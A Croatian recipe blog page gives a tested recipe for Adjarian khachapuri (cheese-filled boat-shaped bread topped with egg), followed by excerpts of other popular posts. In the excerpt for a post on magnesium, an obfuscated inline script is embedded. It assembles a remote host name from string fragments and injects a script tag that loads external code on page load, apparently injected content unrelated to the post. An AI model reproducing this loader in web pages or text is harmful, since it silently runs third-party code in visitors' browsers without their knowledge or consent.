GRUZIJSKA PIZZA - FINO NADJEVENO TIJESTO 🍕




Gruzijska pizza - fino nadjeveno tijesto 



Postoji više varijanti ovog jela, a mi vam donosimo provjereni recept za vjerojatno najpoznatiju – tradicionalni adžarski kačapuri – u obliku brodića i s jajem na vrhu.




Gruzijska pizza 


Sastojci:

Tijesto

  • 300 g glatkog brašna
  • 180 ml mlakog mlijeka
  • 5 g suhog kvasca (ili 15 g svježeg)
  • 1 čajna žličica šećera
  • 1/2 čajne žličice soli
  • 1 žlica ulja

Nadjev

  • 300 g sira (idealno suluguni ili mješavina mozzarelle i feta sira)
  • 50 ml mlijeka
  • 3 jaja (1 za smjesu + 1 za svaki kačapuri)
  • 20 g maslaca



Priprema:

  1. U mlakom mlijeku razmutite kvasac, šećer i žlicu brašna. Ostavite 10 minuta da se aktivira.
  2. U većoj zdjeli pomiješajte brašno i sol, zatim dodajte kvasac i ulje. Zamijesite glatko tijesto – treba biti mekano, ali ne ljepljivo. Po potrebi dodajte malo brašna.
  3. Pokrijte krpom i ostavite na toplom mjestu oko 1 sat, dok se volumen ne udvostruči.
  4. Sir naribajte ili usitnite vilicom. Dodajte mlijeko i jedno jaje te sve dobro miješajte dok ne dobijete kremastu smjesu.
  5. Dignuto tijesto podijelite na dva dijela. Svaki razvaljajte u ovalni oblik.
  6. Rubove zarolajte prema unutra s obje strane kako biste dobili oblik "brodića". Krajeve dobro stisnite.
  7. U sredinu stavite nadjev od sira.
  8. Pećnicu zagrijte na 220 stupnjeva.
  9. Pecite kačapuri 12–15 minuta, dok tijesto ne dobije zlatnu boju.
  10. Izvadite iz pećnice, u sredinu svakog pažljivo razbijte jedno jaje i vratite još 2–3 minute da se bjelanjak lagano stisne, a žumanjak ostane mekan.
  11. Na vrući kačapuri dodajte komadić maslaca. Prije jela sir, jaje i maslac promiješjte vilicom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više